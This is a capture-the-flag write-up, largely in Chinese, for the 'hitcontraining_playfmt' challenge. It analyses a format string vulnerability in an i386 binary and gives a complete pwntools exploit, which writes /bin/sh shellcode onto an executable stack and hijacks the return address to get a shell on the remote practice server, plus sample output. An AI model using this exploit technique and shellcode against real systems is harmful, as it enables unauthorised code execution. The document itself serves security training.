WriteUp: hitcontraining_playfmt

Checksec

1
2
3
4
5
6
7
8
╰─$ checksec playfmt
[*] 'hitcontraining_playfmt/playfmt'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

重要信息:

  • a. i386 因此直接gdb.debug打开或者process打开用gdb.attach会有问题;需要特殊的处理,见后面exploit代码的start
  • b. Has RWX segments: 有可写可执行段,gdb playfmtvmmap可以看到是stack
  • c. No PIE: 因此ELF中符号,在ELF静态文件中的偏移即为加载后的偏移。但堆栈会随机化

Reverse Engineering

Fig. 1. Vulnerability Point

漏洞点在上图中的标号(1)处,为Format String Attack.

Analyze

read->printfwhile(True)循环中,因此可以无限次构造payload,理论上可以实现任意地址写

buf不在stack上,因此在payload中,任意写的目的地址无法直接通过字符串中指定,需要找到一个如下的栈链。

1
2
3
4
5
stack a: -> stack b 
...
stack b: -> stack c
...
stack c: -> 任意值

原理实质上很简单,通过Format String Attack的任意地址写,将Shell Code写入到RWX权限的栈上,并再次使用Format String Attack修改函数返回地址为Shell Code在栈上的地址。触发函数返回后即可获得shell
但在实际exploit时,有很多细节要注意:

  • a. 当 %McM过大时,要留出足够的时间让程序完成完整printf行为。实际上应尽可能的让M值不要过大,不然容易失败。在exploit code中,我们采用了io.recvuntil(b'\n')的方式,用b'\n'字符作为输出结束的约定字符,这样即保证printf行为完整,又避免了过久等待。
  • b. stack链应避免使用ebp->prev-frame-esp->prevprev-frame-esp...ebp栈链,否则在函数返回时,通过ebp恢复esp值时容易出错。
    • 当然无其他选择时,ebp栈链也是可以操作的,需要注意操作后的恢复工作,保证ebp链的合法性。
    • ebp栈链的好处是,它肯定是存在的,且距离不远,很容易找到。
  • c. 该exploit code避免使用了one_gadget,system等需要libcSearcher搜索判断远程libc.so版本的操作

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#!python3
from pwn import *
from pwnlib.util import misc
from LibcSearcher import *
import os

elf = context.binary = ELF("playfmt")
libc = elf.libc

context.terminal = ["tmux", "split", "-h"]

gs = '''
continue
'''
def start():
if args.GDB:
p = process(elf.path)
cmd = ["gdb", "-p", str(p.pid)]
cmd = context.terminal + cmd
cmd = ' '.join(cmd)
os.system(cmd)
time.sleep(1)
return p
elif args.REMOTE:
return remote('node4.buuoj.cn', 28106)
else:
return process(elf.path)

#--------- Process Interactive ---------------------

l = lambda x,y : log.info(f"{x} -> {y}")

def readByFmtStr(fmtstr):
io.send(fmtstr)
addr = int(io.recv(), 16)
return addr


io = start()
io.timeout = 3000
io.recv()


ebp = readByFmtStr(b"%6$p")
l("ebp", hex(ebp))

#leak chain value
chain = readByFmtStr(b"%21$p")
l("chain", hex(chain))



shell = """
xor ecx,ecx
mul ecx
push eax
mov al,0xb
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
int 0x80
"""

shell_bs = asm(shell, arch="i386", os="linux")
check = disasm(shell_bs)
l("check", check)

l("shell_bs", shell_bs)
hexstr = ''
for i in range(len(shell_bs)):
hexstr += '\\x' + hex(shell_bs[i])[2:]

l("hexstr", hexstr)

### 将shellcode放到chain-0x300的位置

shell_addr = chain & 0xffff00ff
l("shell_addr", hex(shell_addr))

## write int8 value to address by low16
# 通过栈低16位定位写入地址,写入指定值(int8)

def write_int8(addr_low16, byte_value):
log.info(f"write_int8: {hex(addr_low16)} {hex(byte_value)}")
addr_low16 = addr_low16 & 0xffff

# change 0b:002c value low16
payload = f"%{addr_low16}c%21$hn"
payload = payload.encode()
payload += b"\n\x00"
# log.info(f"payload 1: {payload}")
io.send(payload)
ctn = ""
ctn = io.recvuntil(b"\n")


# change addr_low16 value
payload = f"%{byte_value}c%57$hhn"
if byte_value == 0:
payload = f"%57$hhn"
payload = payload.encode()
payload += b"\n\x00"
# log.info(f"payload 2: {payload}")
io.send(payload)
ctn = ""
ctn = io.recvuntil(b"\n")



for i in range(0, len(shell_bs)):
aByte = shell_bs[i]
addr_low16 = shell_addr + i

write_int8(addr_low16, aByte)


# # # 返回地址修改为shell_addr

ret_addr = ebp - 0xc # 0xff88e6d4 - 0xe8 --> esp
l("ret_addr", hex(ret_addr))

shell_addr_bs = p32(shell_addr)
l("shell_addr", hex(shell_addr))
# l("shell_addr_bs", shell_addr_bs)

for i in range(0, len(shell_addr_bs)):
aByte = shell_addr_bs[i]
addr_low16 = ret_addr + i

write_int8(addr_low16, aByte)

# # quit 触发返回
io.sendline(b"quit")
# ctn = io.recv()

####### Got Shell #######
# cat flag
io.sendline(b'cat flag')
flag = io.recv()
log.info(f"flag: {flag}")

# ============================================================
# io.interactive()
io.close()



#### 附录:
#
"""
16:0058│ 0xff88e644 —▸ 0xff88e6d4 —▸ 0xff8900ca ◂— '../playfmt'
...
3a:00e8│ 0xff88e6d4 —▸ 0xff8900ca ◂— '../playfmt'
"""

Output Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
╰─$ python exp.py REMOTE
[*] 'hitcontraining_playfmt/playfmt'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[*] '/lib/i386-linux-gnu/libc-2.27.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to node4.buuoj.cn on port 28106: Done
[*] ebp -> 0xffb2d448
[*] chain -> 0xffb2d504
[*] check -> 0: 31 c9 xor ecx, ecx
2: f7 e1 mul ecx
4: 50 push eax
5: b0 0b mov al, 0xb
7: 68 2f 2f 73 68 push 0x68732f2f
c: 68 2f 62 69 6e push 0x6e69622f
11: 89 e3 mov ebx, esp
13: cd 80 int 0x80
[*] shell_bs -> b'1\xc9\xf7\xe1P\xb0\x0bh//shh/bin\x89\xe3\xcd\x80'
[*] hexstr -> \x31\xc9\xf7\xe1\x50\xb0\xb\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
[*] shell_addr -> 0xffb20004
[*] write_int8: 0xffb20004 0x31
[*] write_int8: 0xffb20005 0xc9
[*] write_int8: 0xffb20006 0xf7
[*] write_int8: 0xffb20007 0xe1
[*] write_int8: 0xffb20008 0x50
[*] write_int8: 0xffb20009 0xb0
[*] write_int8: 0xffb2000a 0xb
[*] write_int8: 0xffb2000b 0x68
[*] write_int8: 0xffb2000c 0x2f
[*] write_int8: 0xffb2000d 0x2f
[*] write_int8: 0xffb2000e 0x73
[*] write_int8: 0xffb2000f 0x68
[*] write_int8: 0xffb20010 0x68
[*] write_int8: 0xffb20011 0x2f
[*] write_int8: 0xffb20012 0x62
[*] write_int8: 0xffb20013 0x69
[*] write_int8: 0xffb20014 0x6e
[*] write_int8: 0xffb20015 0x89
[*] write_int8: 0xffb20016 0xe3
[*] write_int8: 0xffb20017 0xcd
[*] write_int8: 0xffb20018 0x80
[*] ret_addr -> 0xffb2d43c
[*] shell_addr -> 0xffb20004
[*] write_int8: 0xffb2d43c 0x4
[*] write_int8: 0xffb2d43d 0x0
[*] write_int8: 0xffb2d43e 0xb2
[*] write_int8: 0xffb2d43f 0xff
[*] flag: b'flag{▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇}\n'
[*] Closed connection to node4.buuoj.cn port 28106

The Challenge

https://buuoj.cn/challenges#hitcontraining_playfmt